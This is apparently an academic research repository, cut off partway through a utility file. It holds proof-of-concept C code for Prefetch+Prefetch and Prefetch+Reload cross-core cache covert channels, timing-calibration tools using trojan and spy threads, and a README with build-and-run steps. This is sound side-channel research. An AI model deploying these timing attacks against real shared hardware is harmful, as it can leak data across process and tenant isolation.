├── .gitignore ├── figures └── prefetch_latency.PNG ├── covert_channels ├── libs │ ├── CMakeLists.txt │ ├── util.h │ └── util.c ├── CMakeLists.txt ├── sender.c ├── receiver_pre_pre.c └── receiver_pre_relo.c ├── utils ├── get_llc_s_latency.sh ├── get_prefetch_miss_latency.sh ├── shared ├── process_pr.py ├── process_pp.py ├── pre_miss_latency.c └── llc_s_latency.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | covert_channels/build 2 | *.swp 3 | -------------------------------------------------------------------------------- /figures/prefetch_latency.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PittECEArch/AdversarialPrefetch/HEAD/figures/prefetch_latency.PNG -------------------------------------------------------------------------------- /covert_channels/libs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_library (util util.c) 2 | target_include_directories (util PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) 3 | -------------------------------------------------------------------------------- /utils/get_llc_s_latency.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -mprefetchwt1 -pthread llc_s_latency.c -o llc_s 3 | ./llc_s > out_llc_s 4 | python process_pr.py out_llc_s 5 | -------------------------------------------------------------------------------- /utils/get_prefetch_miss_latency.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -mprefetchwt1 -pthread pre_miss_latency.c -o pre_miss 3 | ./pre_miss > out_pre_miss 4 | python process_pp.py out_pre_miss 5 | -------------------------------------------------------------------------------- /utils/shared: -------------------------------------------------------------------------------- 1 | geegeg 2 | ewe 3 | wthrt 4 | b 5 | vy 6 | rtvy 7 | 8 | 9 | c 10 | r 11 | tvy 12 | 13 | yvrh 14 | vwe 15 | rc 16 | xh 17 | crt 18 | c 19 | wt 20 | yb 21 | y 22 | vrt 23 | 24 | j 25 | r 26 | hc 27 | c 28 | 5u 29 | 4 30 | c 31 | yvj 32 | v 33 | u 34 | 5vj 35 | 53 36 | yjv 37 | 53 38 | jv3 39 | 5j 40 | 53y 41 | jv5v5j 42 | c 43 | 5 44 | j 45 | 53j 46 | 5 47 | j56 48 | j 49 | 5 50 | ub2 51 | y 52 | u2vj 53 | c 54 | 55 | 2c 56 | 57 | -------------------------------------------------------------------------------- /covert_channels/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5) 2 | project(Prefetch_Attacks) 3 | 4 | set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) 5 | 6 | add_subdirectory (libs) 7 | add_compile_options(-mprefetchwt1) 8 | 9 | add_executable (sender sender.c) 10 | find_package(Threads) 11 | target_link_libraries (sender LINK_PUBLIC ${CMAKE_THREAD_LIBS_INIT} util) 12 | 13 | add_executable (receiver_pre_pre receiver_pre_pre.c) 14 | add_executable (receiver_pre_relo receiver_pre_relo.c) 15 | 16 | target_link_libraries (receiver_pre_pre LINK_PUBLIC ${CMAKE_THREAD_LIBS_INIT} util) 17 | target_link_libraries (receiver_pre_relo LINK_PUBLIC ${CMAKE_THREAD_LIBS_INIT} util) 18 | 19 | set(CMAKE_CXX_FLAGS "-pthread") 20 | 21 | 22 | add_custom_target(copy-test-makefile ALL DEPENDS 23 | ${CMAKE_CURRENT_BINARY_DIR}/shared) 24 | add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/shared 25 | COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/../utils/shared 26 | ${CMAKE_CURRENT_BINARY_DIR}/bin/ 27 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/../utils/shared) 28 | -------------------------------------------------------------------------------- /utils/process_pr.py: -------------------------------------------------------------------------------- 1 | import sys 2 | last = 0 3 | current = 0 4 | error = 0 5 | count = 0 6 | cnt_accessed = [0 for i in range(400)] 7 | cnt_no = [0 for i in range(400)] 8 | 9 | with open(sys.argv[1], 'r') as f: 10 | i = 0 11 | for line in f: 12 | i = i + 1 13 | #The beginning iterations are sometimes noisy. 14 | if i < 2000: 15 | continue 16 | if i > 120000: 17 | break 18 | 19 | s = line.split() 20 | time = int(s[1]) 21 | if s[0] == "accessed": 22 | if time >= 400: 23 | cnt_accessed[395] += 1 24 | else: 25 | cnt_accessed[int(time/5)*5] += 1 26 | else: 27 | if time >= 400: 28 | cnt_accessed[395] += 1 29 | else: 30 | cnt_no[int(time/5)*5] += 1 31 | 32 | print('{:^10s}{:^30s}{:^30s}'.format("latency", "num of LLC S hits", "num of LLC M hits")) 33 | for i in range(0, 80): 34 | cnt = i * 5 35 | print('{:^10s}{:^30s}{:^30s}'.format(str(cnt), str(cnt_accessed[cnt]), str(cnt_no[cnt]))) 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /utils/process_pp.py: -------------------------------------------------------------------------------- 1 | import sys 2 | last = 0 3 | current = 0 4 | error = 0 5 | count = 0 6 | cnt_accessed = [0 for i in range(400)] 7 | cnt_no = [0 for i in range(400)] 8 | 9 | with open(sys.argv[1], 'r') as f: 10 | i = 0 11 | for line in f: 12 | i = i + 1 13 | #The beginning iteraions are sometimes noisy. 14 | if i < 2000: 15 | continue 16 | if i > 120000: 17 | break 18 | 19 | s = line.split() 20 | time = int(s[1]) 21 | if s[0] == "accessed": 22 | if time >= 400: 23 | cnt_accessed[395] += 1 24 | else: 25 | cnt_accessed[int(time/5)*5] += 1 26 | else: 27 | if time >= 400: 28 | cnt_accessed[395] += 1 29 | else: 30 | cnt_no[int(time/5)*5] += 1 31 | 32 | print('{:^10s}{:^30s}{:^30s}'.format("latency", "num of prefetch L1 hits", "num of prefetch L1 misses")) 33 | for i in range(10, 80): 34 | cnt = i * 5 35 | print('{:^10s}{:^30s}{:^30s}'.format(str(cnt), str(cnt_no[cnt]), str(cnt_accessed[cnt]))) 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /covert_channels/libs/util.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | 19 | #ifndef UTIL_H_ 20 | #define UTIL_H_ 21 | 22 | #define ADDR_PTR uint64_t 23 | #define CYCLES uint32_t 24 | 25 | 26 | 27 | //The following parameters should be changed accordingly. 28 | 29 | //The CPU core the sender is running on 30 | #define sender_core 0 31 | //The CPU core the receiver/Spy of Prefetch+Prefetch/Prefetch+Reload is running on 32 | #define receiver_core 1 33 | //The CPU core Trojan in running on 34 | #define receiver_helper_core 2 35 | //The number of rounds the receiver runs 36 | #define ROUNDS 1000000 37 | //The timing threshold for Prefetch+Prefetch 38 | //Please see https://github.com/PittECEArch/AdversarialPrefetch#timing-characterization 39 | #define PRE_HIT_LATENCY 100 40 | //The timing threshold for Prefetch+Reload 41 | #define LLC_S_LATENCY 70 42 | //The temporal length of each iteration 43 | #define CHANNEL_SYNC_TIMEMASK 0x7ff //Each iteration is 2000 cycles 44 | #define CHANNEL_INTERVAL 0x0003ff 45 | #define CHANNEL_SYNC_JITTER 0x100 46 | //The shared data used for data transmission 47 | #define FILE_NAME "shared" 48 | #define FILE_OFFSET 0x0 49 | #define FILE_SIZE 4096 50 | #define CACHE_BLOCK_SIZE 64 51 | 52 | 53 | struct config { 54 | ADDR_PTR addr; 55 | int interval; 56 | }; 57 | 58 | CYCLES measure_one_block_access_time(ADDR_PTR addr); 59 | CYCLES rdtscp(void); 60 | CYCLES get_time(); 61 | CYCLES cc_sync(); 62 | CYCLES memaccess(ADDR_PTR addr); 63 | 64 | void clflush(ADDR_PTR addr); 65 | 66 | char *string_to_binary(char *s); 67 | 68 | 69 | #endif 70 | -------------------------------------------------------------------------------- /covert_channels/sender.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include "util.h" 3 | #include "math.h" 4 | #include "sched.h" 5 | #include "pthread.h" 6 | 7 | void send_bit (bool bit, struct config *config) 8 | { 9 | CYCLES start_t = cc_sync(); 10 | asm volatile("lfence"); 11 | int i = 0; 12 | 13 | if (bit) { 14 | while ((get_time() - start_t) < config->interval) { 15 | //send the bit at the very beginning of the interval 16 | if(i == 0) 17 | { 18 | memaccess(config->addr); 19 | } 20 | i++; 21 | } 22 | 23 | } else { 24 | while (get_time() - start_t < config->interval) { 25 | i++; 26 | } 27 | } 28 | 29 | } 30 | 31 | void* sender_func(void* param) { 32 | printf("thead launched\n"); 33 | struct config config; 34 | init_config(&config); 35 | 36 | //access the target data to make sure prefetchw works later. 37 | CYCLES access_time = measure_one_block_access_time(config.addr); 38 | access_time = measure_one_block_access_time(config.addr); 39 | 40 | int mm = 0; 41 | while (1) { 42 | //send "1" and "0" alternatively 43 | if (mm %2 == 0) 44 | send_bit(true, &config); 45 | else 46 | send_bit(false, &config); 47 | mm ++; 48 | } 49 | } 50 | 51 | 52 | 53 | int main(int argc, char *argv[]) { 54 | pthread_t sender; 55 | printf("%s\n", "Starting\n"); 56 | 57 | pthread_attr_t attr_sender; 58 | pthread_attr_init(&attr_sender); 59 | 60 | cpu_set_t mask; 61 | CPU_ZERO(&mask); 62 | CPU_SET(sender_core, &mask); 63 | if (pthread_attr_setaffinity_np(&attr_sender, sizeof(mask), &mask) != 0) { 64 | perror("pthread_attr_setaffinity_np: sender"); 65 | } 66 | 67 | printf("created thread\n"); 68 | 69 | if (pthread_create(&sender, &attr_sender, (void *)sender_func, NULL) != 70 | 0) { 71 | perror("pthread_create: sender"); 72 | } 73 | pthread_join(sender, NULL); 74 | } 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /covert_channels/libs/util.c: -------------------------------------------------------------------------------- 1 | 2 | #include "util.h" 3 | 4 | CYCLES memaccess(ADDR_PTR addr) 5 | { 6 | CYCLES rv; 7 | asm volatile("mov (%1), %0" : "+r"(rv) : "r"(addr) :); 8 | return rv; 9 | 10 | } 11 | 12 | 13 | 14 | /* 15 | * Loads from virtual address addr and measure the access time 16 | */ 17 | CYCLES measure_one_block_access_time(ADDR_PTR addr) 18 | { 19 | CYCLES cycles; 20 | 21 | asm volatile("mov %1, %%r8\n\t" 22 | "lfence\n\t" 23 | "rdtsc\n\t" 24 | "mov %%eax, %%edi\n\t" 25 | "mov (%%r8), %%r8\n\t" 26 | "lfence\n\t" 27 | "rdtsc\n\t" 28 | "sub %%edi, %%eax\n\t" 29 | : "=a"(cycles) /*output*/ 30 | : "r"(addr) 31 | : "r8", "edi"); 32 | 33 | return cycles; 34 | } 35 | 36 | /* 37 | * Returns Time Stamp Counter 38 | */ 39 | extern inline __attribute__((always_inline)) 40 | CYCLES rdtscp(void) { 41 | CYCLES cycles; 42 | asm volatile ("rdtscp" 43 | : /* outputs */ "=a" (cycles)); 44 | 45 | return cycles; 46 | } 47 | 48 | /* 49 | * Gets the value Time Stamp Counter 50 | */ 51 | inline CYCLES get_time() { 52 | return rdtscp(); 53 | } 54 | 55 | /* Synchronizes at the overflow of a counter 56 | */ 57 | extern inline __attribute__((always_inline)) 58 | CYCLES cc_sync() { 59 | while((get_time() % CHANNEL_SYNC_TIMEMASK) > CHANNEL_SYNC_JITTER) { 60 | } 61 | return get_time(); 62 | } 63 | 64 | 65 | 66 | /* 67 | * Flushes the cache block accessed by a virtual address out of the cache 68 | */ 69 | extern inline __attribute__((always_inline)) 70 | void clflush(ADDR_PTR addr) 71 | { 72 | asm volatile ("clflush (%0)"::"r"(addr)); 73 | } 74 | 75 | 76 | /* 77 | * Initializes the struct config 78 | */ 79 | void init_config(struct config *config) 80 | { 81 | int offset = FILE_OFFSET; 82 | config->interval = CHANNEL_INTERVAL; 83 | char *filename = FILE_NAME; 84 | 85 | // Map file to virtual memory and extract the address at the file offset 86 | if (filename != NULL) { 87 | int inFile = open(filename, O_RDONLY); 88 | if(inFile == -1) { 89 | printf("Failed to Open File\n"); 90 | exit(1); 91 | } 92 | 93 | void *mapaddr = mmap(NULL,FILE_SIZE,PROT_READ,MAP_SHARED,inFile,0); 94 | 95 | if (mapaddr == (void*) -1 ) { 96 | printf("Failed to Map Address\n"); 97 | exit(1); 98 | } 99 | 100 | config->addr = (ADDR_PTR) mapaddr + offset; 101 | } 102 | 103 | } 104 | 105 | -------------------------------------------------------------------------------- /covert_channels/receiver_pre_pre.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include "util.h" 3 | #include "math.h" 4 | #include "sched.h" 5 | #include "pthread.h" 6 | 7 | 8 | 9 | /* 10 | * Detects a bit by measuring the execution time of the prefetchw instruction 11 | * within the clock length of config->interval. 12 | * 13 | * Detect a bit 1 if the exection time > PRE_MISS_LATENCY 14 | * Detect a bit 0 otherwise 15 | * 16 | * Within one iteration, the opereations from sender and receiver are ordered by the amount of rdtscp() each thread runs before the operation. 17 | * This is a weak ordering mechanism, and the amount of rdtscp() each threads needs (the value of i) may need to be adjusted on each processor 18 | */ 19 | 20 | void detect_bit(struct config *config, int index, int* result) 21 | { 22 | int i = 0; 23 | CYCLES t1, t2; 24 | // Sync with sender 25 | CYCLES start_t = cc_sync(); 26 | asm volatile("lfence"); 27 | while (get_time() - start_t < config->interval) { 28 | if(i == 1) 29 | { 30 | t1 = rdtscp(); 31 | __builtin_prefetch(config->addr, 1, 3); 32 | asm volatile("mfence"); 33 | t2 = rdtscp(); 34 | result[index] = ((t2 -t1) > PRE_HIT_LATENCY); 35 | } 36 | i++; 37 | } 38 | } 39 | 40 | void* receiver_func( void* param) 41 | { 42 | // Initialize config and local variables 43 | struct config config; 44 | init_config(&config); 45 | int counter = 0; 46 | int result[ROUNDS]; 47 | 48 | //access config->addr so we can later prefetch 49 | CYCLES access_time = measure_one_block_access_time(config.addr); 50 | access_time = measure_one_block_access_time(config.addr); 51 | access_time = measure_one_block_access_time(config.addr); 52 | 53 | while (counter < ROUNDS) { 54 | asm volatile("lfence"); 55 | detect_bit(&config, counter, result); 56 | counter ++; 57 | } 58 | 59 | for (int a = 0; a < ROUNDS; a++) 60 | printf("%d\n", result[a]); 61 | 62 | printf("Receiver finished\n"); 63 | } 64 | 65 | 66 | int main(int argc, char *argv[]) { 67 | pthread_t receiver; 68 | printf("%s\n", "Starting\n"); 69 | 70 | pthread_attr_t attr_receiver; 71 | pthread_attr_init(&attr_receiver); 72 | 73 | cpu_set_t mask; 74 | CPU_ZERO(&mask); 75 | CPU_SET(receiver_core, &mask); 76 | if (pthread_attr_setaffinity_np(&attr_receiver, sizeof(mask), &mask) != 0) { 77 | perror("pthread_attr_setaffinity_np: receiver"); 78 | } 79 | 80 | printf("created thread\n"); 81 | 82 | if (pthread_create(&receiver, &attr_receiver, (void *)receiver_func, NULL) != 83 | 0) { 84 | perror("pthread_create: receiver"); 85 | } 86 | 87 | pthread_join(receiver, NULL); 88 | } 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Adversarial Prefetch: New Cross-Core Cache Side-Channel Attacks 2 | ## Description 3 | 4 | This repo contains tools to perform Prefetch+Prefetch and Prefetch+Reload. For 5 | details of these two attacks, please refer to our [Oakland'22 6 | paper](https://yananguo.com/files/oakland22.pdf). 7 | 8 | 9 | ## Timing Characterization 10 | 11 | To run these two attacks, we must determine the timing threshold to distinguish 12 | different cache events. This includes: `prefetch_hit_local_L1` and 13 | `prefetch_hit_remote_L1` for Prefetch+Prefetch, as well as `load_hit_LLC` and 14 | `load_hit_remote_L1` for Prefetch+Reload. 15 | 16 | These thresholds depend on the microarchitecture details of the processor. We 17 | provide scripts to find the correct thresholds. 18 | 19 | First, to obtain the threshold for Prefetch+Prefetch, do: 20 | ``` 21 | cd utils 22 | bash get_pre_miss_latency.sh 23 | ``` 24 | This script tests the latency of the prefetchw when the target data is in the 25 | local/remote L1 cahe 50000 times (for each) and prints out the results. 26 | 27 | When running this script, you should see something similar with the following image: 28 | ![Example Profiling Result](/figures/prefetch_latency.PNG) 29 | 30 | In the above image, an appropriate timing threshold for Prefetch+Prefetch should be 105-115 cycles. 31 | 32 | Similarly, to obtain to get the threshold for Prefetch+Reload, do: 33 | ``` 34 | cd utils 35 | bash get_llc_s_latency.sh 36 | ``` 37 | 38 | Then, pick an appropriate timing theshold based on results. 39 | 40 | Note that, the timing threshold for the attack really depends on the physcical 41 | CPU cores the attack is running on. Thus, we should characterize the timing on 42 | the cores used in the attacks. This can be configured in 43 | utils/pre_miss_latency.c (for Prefetch+Prefetch) and utils/llc_s_latency.c (for 44 | Prefetch+Reload). 45 | 46 | In utils/pre_miss_latency.c, 47 | ``` 48 | //Test the local and remote prefetch latency between core 0 and core 1. 49 | #define trojan_core 0; 50 | #define spy_core 1; 51 | ``` 52 | 53 | In utils/llc_s_latency.c, 54 | ``` 55 | //Test the LLC and remote L1 load latency between core 0 and core 2. 56 | #define trojan_core 0; 57 | #define spy_core 2; 58 | #define victim_core 1; // Does not really matter. 59 | ``` 60 | 61 | 62 | ## Setup and Run the Covert Channels 63 | 64 | ### Step 1: Parameter configuration 65 | 66 | We provide PoC for the covert channels. Before building and running the channel, there are a few parameters that need to be configured accordingly. Please see covert_channels/libs/util.h. 67 | 68 | ### Step 2: Build the covert channels 69 | 70 | To build the covert channels, do 71 | 72 | ```sh 73 | cd covert_channels 74 | mkdir build 75 | cmake .. 76 | make 77 | ``` 78 | Then you can find the sender and receiver executables in 'covert_channels/build/bin' directory. 79 | 80 | ### Step 3: Run the covert chanenls 81 | 82 | To run a covert channel, first start the sender process 83 | 84 | ``` 85 | cd covert_channels/build/bin 86 | ./sender 87 | 88 | ``` 89 | This sender process sends "0" and "1" alternatively. 90 | Then start one of the receiver processes 91 | ``` 92 | cd covert_channels/build/bin 93 | ./receiver_pre_pre > raw_bits_received 94 | ``` 95 | or 96 | 97 | ``` 98 | cd covert_channels/build/bin 99 | ./receiver_pre_relo > raw_bits_received 100 | ``` 101 | 102 | The file "raw_bits_received" will contain the bits the receiver detected. 103 | 104 | 105 | ## Side channel example 106 | TBA. 107 | 108 | ## Contact 109 | For any questions, please open an issue in this repo. Or contact Yanan via 110 | email, which is contained in the paper, linked [above](#Description). 111 | -------------------------------------------------------------------------------- /utils/pre_miss_latency.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define trojan_core 0 13 | #define spy_core 2 14 | 15 | pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; 16 | pthread_cond_t cond = PTHREAD_COND_INITIALIZER; 17 | int id = 0; 18 | 19 | /* this is from Mastik by Yuval Yarom */ 20 | static inline uint32_t memaccesstime(void *v) { 21 | uint32_t rv; 22 | asm volatile("mfence\n" 23 | "lfence\n" 24 | "rdtscp\n" 25 | "mov %%eax, %%esi\n" 26 | "mov (%1), %%eax\n" 27 | "rdtscp\n" 28 | "sub %%esi, %%eax\n" 29 | : "=&a"(rv) 30 | : "r"(v) 31 | : "ecx", "edx", "esi"); 32 | return rv; 33 | } 34 | 35 | static inline uint32_t rdtscp() 36 | { 37 | uint32_t rv; 38 | asm volatile("rdtscp" : "=a"(rv)::"edx", "ecx"); 39 | return rv; 40 | } 41 | 42 | 43 | void *troj_func(int *param) { 44 | int i = 0; 45 | int time; 46 | while (i < 100000) { 47 | pthread_mutex_lock(&lock); 48 | while (id != 0) { 49 | pthread_cond_wait(&cond, &lock); 50 | } 51 | //Trojan loads in every other iteration. 52 | if (i % 2 == 0) { 53 | time = memaccesstime(param); 54 | printf("accessed "); 55 | } else { 56 | printf("notaccessed "); 57 | } 58 | i++; 59 | id = 1; 60 | pthread_cond_signal(&cond); 61 | pthread_mutex_unlock(&lock); 62 | } 63 | } 64 | 65 | void *spy_func(int *param) { 66 | int i = 0; 67 | int time = 0; 68 | while (i < 100000) { 69 | pthread_mutex_lock(&lock); 70 | while (id != 1) { 71 | pthread_cond_wait(&cond, &lock); 72 | } 73 | //Spy prefetches and times the prefetch in every iteration. 74 | asm volatile("mfence"); 75 | int t1 = rdtscp(); 76 | __builtin_prefetch(param, 1, 3); 77 | asm volatile("mfence"); 78 | int t2 = rdtscp(); 79 | 80 | printf("%d\n", t2 - t1); 81 | i++; 82 | id = 0; 83 | pthread_cond_signal(&cond); 84 | pthread_mutex_unlock(&lock); 85 | } 86 | } 87 | 88 | int main(int argc, char *argv[]) { 89 | pthread_t trojan, spy; 90 | printf("%s\n", "Starting\n"); 91 | 92 | char*file = "shared"; 93 | int fd = open(file, O_RDONLY); 94 | if (fd < 0) 95 | return 0; 96 | 97 | char *mapaddr = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0); 98 | close(fd); 99 | 100 | 101 | int time; 102 | time = memaccesstime(mapaddr); 103 | printf("main access time %d\n", time); 104 | time = memaccesstime(mapaddr); 105 | printf("main access time %d\n", time); 106 | 107 | 108 | pthread_attr_t attr_troj, attr_spy; 109 | pthread_attr_init(&attr_troj); 110 | pthread_attr_init(&attr_spy); 111 | 112 | cpu_set_t mask; 113 | CPU_ZERO(&mask); 114 | CPU_SET(trojan_core, &mask); 115 | 116 | if (pthread_attr_setaffinity_np(&attr_troj, sizeof(mask), &mask) != 0) { 117 | perror("pthread_attr_setaffinity_np: trojan"); 118 | } 119 | 120 | CPU_ZERO(&mask); 121 | CPU_SET(spy_core, &mask); 122 | if (pthread_attr_setaffinity_np(&attr_spy, sizeof(mask), &mask) != 0) { 123 | perror("pthread_attr_setaffinity_np: spy"); 124 | } 125 | 126 | if (pthread_create(&trojan, &attr_troj, (void *)troj_func, mapaddr) != 0) { 127 | perror("pthread_create: trojan"); 128 | } 129 | if (pthread_create(&spy, &attr_spy, (void *)spy_func, mapaddr) != 0) { 130 | perror("pthread_create: spy"); 131 | } 132 | pthread_join(trojan, NULL); 133 | pthread_join(spy, NULL); 134 | } 135 | -------------------------------------------------------------------------------- /covert_channels/receiver_pre_relo.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include "util.h" 3 | #include "math.h" 4 | #include "sched.h" 5 | #include "pthread.h" 6 | 7 | 8 | 9 | /* 10 | * Detects a bit by measuring the access time of the load from config->addr 11 | * within the clock length of config->interval. 12 | * 13 | * Detect a bit 1 if hits LLC E/M (remote L1) 14 | * Detect a bit 0 if hits LLC S 15 | * 16 | * Within one iteration, the operations from sender, Trojan (receiver_helper), Spy (receiver) are ordered by the amount of rdtscp() each thread runs before the operation. 17 | * This is a weak ordering, and the amount of rdtscp() each thread needs (the value of i) may need to be adjusted on each processor. 18 | */ 19 | 20 | void detect_bit(struct config *config, int index, int* result) 21 | { 22 | int i = 0; 23 | CYCLES access_time; 24 | 25 | // Sync with sender 26 | CYCLES start_t = cc_sync(); 27 | asm volatile("lfence"); 28 | 29 | while ((get_time() - start_t) < config->interval) { 30 | if (i == 2){ 31 | access_time = measure_one_block_access_time(config->addr); 32 | result[index] = (access_time > LLC_S_LATENCY); 33 | } 34 | i++; 35 | } 36 | } 37 | 38 | 39 | void prefetch_bit(struct config *config) 40 | { 41 | int i = 0; 42 | 43 | // Sync with sender 44 | CYCLES start_t = cc_sync(); 45 | asm volatile("lfence"); 46 | 47 | while ((get_time() - start_t) < config->interval) { 48 | if (i > 5){ 49 | __builtin_prefetch(config->addr, 1, 3); 50 | } 51 | i++; 52 | } 53 | } 54 | 55 | 56 | 57 | 58 | void* receiver_func( void* param) 59 | { 60 | // Initialize config and local variables 61 | struct config config; 62 | init_config(&config); 63 | int counter = 0; 64 | int result[ROUNDS]; 65 | 66 | //access the target addr a few times to ensure that prefetchw works later 67 | CYCLES access_time = measure_one_block_access_time(config.addr); 68 | access_time = measure_one_block_access_time(config.addr); 69 | access_time = measure_one_block_access_time(config.addr); 70 | 71 | while (counter < ROUNDS) { 72 | asm volatile("lfence"); 73 | detect_bit(&config, counter, result); 74 | counter++; 75 | } 76 | 77 | for(int a = 0; a < ROUNDS; a++) 78 | printf("%d\n", result[a]); 79 | 80 | printf("Receiver finished\n"); 81 | } 82 | 83 | void* helper_func( void* param) 84 | { 85 | // Initialize config and local variables 86 | struct config config; 87 | init_config(&config); 88 | int counter = 0; 89 | 90 | //access the target addr a few times to ensure that prefetchw works later 91 | CYCLES access_time = measure_one_block_access_time(config.addr); 92 | access_time = measure_one_block_access_time(config.addr); 93 | access_time = measure_one_block_access_time(config.addr); 94 | 95 | while (counter < ROUNDS) { 96 | asm volatile("lfence"); 97 | prefetch_bit(&config); 98 | counter++; 99 | } 100 | 101 | printf("Helper finished\n"); 102 | } 103 | 104 | 105 | 106 | int main(int argc, char *argv[]) { 107 | pthread_t receiver, receiver_helper; 108 | printf("%s\n", "Starting\n"); 109 | 110 | pthread_attr_t attr_receiver; 111 | pthread_attr_t attr_helper; 112 | pthread_attr_init(&attr_receiver); 113 | pthread_attr_init(&attr_helper); 114 | 115 | cpu_set_t mask; 116 | CPU_ZERO(&mask); 117 | CPU_SET(receiver_core, &mask); 118 | if (pthread_attr_setaffinity_np(&attr_receiver, sizeof(mask), &mask) != 0) { 119 | perror("pthread_attr_setaffinity_np: receiver"); 120 | } 121 | 122 | CPU_ZERO(&mask); 123 | CPU_SET(receiver_helper_core, &mask); 124 | if (pthread_attr_setaffinity_np(&attr_helper, sizeof(mask), &mask) != 0) { 125 | perror("pthread_attr_setaffinity_np: helper"); 126 | } 127 | printf("created thread\n"); 128 | 129 | if (pthread_create(&receiver, &attr_receiver, (void *)receiver_func, NULL) != 130 | 0) { 131 | perror("pthread_create: receiver"); 132 | } 133 | if (pthread_create(&receiver_helper, &attr_helper, (void *)helper_func, NULL) != 134 | 0) { 135 | perror("pthread_create: helper"); 136 | } 137 | 138 | pthread_join(receiver, NULL); 139 | pthread_join(receiver_helper, NULL); 140 | } 141 | 142 | 143 | 144 | -------------------------------------------------------------------------------- /utils/llc_s_latency.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define trojan_core 0 13 | #define spy_core 2 14 | #define victim_core 1 15 | 16 | 17 | pthread_mutex_t lock1 = PTHREAD_MUTEX_INITIALIZER; 18 | pthread_cond_t cond1 = PTHREAD_COND_INITIALIZER; 19 | pthread_mutex_t lock2 = PTHREAD_MUTEX_INITIALIZER; 20 | pthread_cond_t cond2 = PTHREAD_COND_INITIALIZER; 21 | pthread_mutex_t lock3 = PTHREAD_MUTEX_INITIALIZER; 22 | pthread_cond_t cond3 = PTHREAD_COND_INITIALIZER; 23 | int id01 = 0; 24 | int id12 = 0; 25 | int id20 = 1; 26 | 27 | /* this is from Mastik by Yuval Yarom */ 28 | static inline uint32_t memaccesstime(void *v) { 29 | uint32_t rv; 30 | asm volatile("mfence\n" 31 | "lfence\n" 32 | "rdtscp\n" 33 | "mov %%eax, %%esi\n" 34 | "mov (%1), %%eax\n" 35 | "rdtscp\n" 36 | "sub %%esi, %%eax\n" 37 | : "=&a"(rv) 38 | : "r"(v) 39 | : "ecx", "edx", "esi"); 40 | return rv; 41 | } 42 | 43 | 44 | static inline uint32_t rdtscp() 45 | { 46 | uint32_t rv; 47 | asm volatile("rdtscp" : "=a"(rv)::"edx", "ecx"); 48 | return rv; 49 | } 50 | 51 | //troj, vicim, and spy thread run sequentially in each iteration. 52 | //This is achieved with three pthread locks. 53 | 54 | void *troj_func(int *param) { 55 | int i = 0; 56 | while (i < 100000) { 57 | pthread_mutex_lock(&lock1); 58 | while (id01 != 0) { 59 | pthread_cond_wait(&cond1, &lock1); 60 | } 61 | pthread_mutex_lock(&lock3); 62 | while (id20 != 1) { 63 | pthread_cond_wait(&cond3, &lock3); 64 | } 65 | /* do prefetch */ 66 | __builtin_prefetch(param, 1, 3); 67 | asm volatile("mfence"); 68 | i++; 69 | id01 = 1; 70 | id20 = 0; 71 | pthread_cond_signal(&cond1); 72 | pthread_mutex_unlock(&lock1); 73 | pthread_cond_signal(&cond3); 74 | pthread_mutex_unlock(&lock3); 75 | } 76 | } 77 | 78 | void *victim_func(int *param) { 79 | int i = 0; 80 | int time = 0; 81 | while (i < 100000) { 82 | pthread_mutex_lock(&lock1); 83 | while (id01 != 1) { 84 | pthread_cond_wait(&cond1, &lock1); 85 | } 86 | pthread_mutex_lock(&lock2); 87 | while (id12 != 0) { 88 | pthread_cond_wait(&cond2, &lock2); 89 | } 90 | //Victim loads in every other iteration. 91 | if (i%2 == 0) 92 | { 93 | time = memaccesstime(param); 94 | printf("accessed "); 95 | } 96 | else 97 | printf("notaccessed "); 98 | i++; 99 | id01 = 0; 100 | id12 = 1; 101 | pthread_cond_signal(&cond1); 102 | pthread_mutex_unlock(&lock1); 103 | pthread_cond_signal(&cond2); 104 | pthread_mutex_unlock(&lock2); 105 | } 106 | } 107 | 108 | void *spy_func(int *param) { 109 | int i = 0; 110 | int time = 0; 111 | while (i < 100000) { 112 | pthread_mutex_lock(&lock2); 113 | while (id12 != 1) { 114 | pthread_cond_wait(&cond2, &lock2); 115 | } 116 | pthread_mutex_lock(&lock3); 117 | while (id20 != 0) { 118 | pthread_cond_wait(&cond3, &lock3); 119 | } 120 | //Spy loads and times the load in each iteration. 121 | time = memaccesstime(param); 122 | printf("%d\n", time); 123 | i++; 124 | id12 = 0; 125 | id20 = 1; 126 | pthread_cond_signal(&cond2); 127 | pthread_mutex_unlock(&lock2); 128 | pthread_cond_signal(&cond3); 129 | pthread_mutex_unlock(&lock3); 130 | } 131 | } 132 | 133 | int main(int argc, char *argv[]) { 134 | pthread_t trojan, victim, spy; 135 | printf("%s\n", "Starting\n"); 136 | 137 | char*file = "shared"; 138 | int fd = open(file, O_RDONLY); 139 | if (fd < 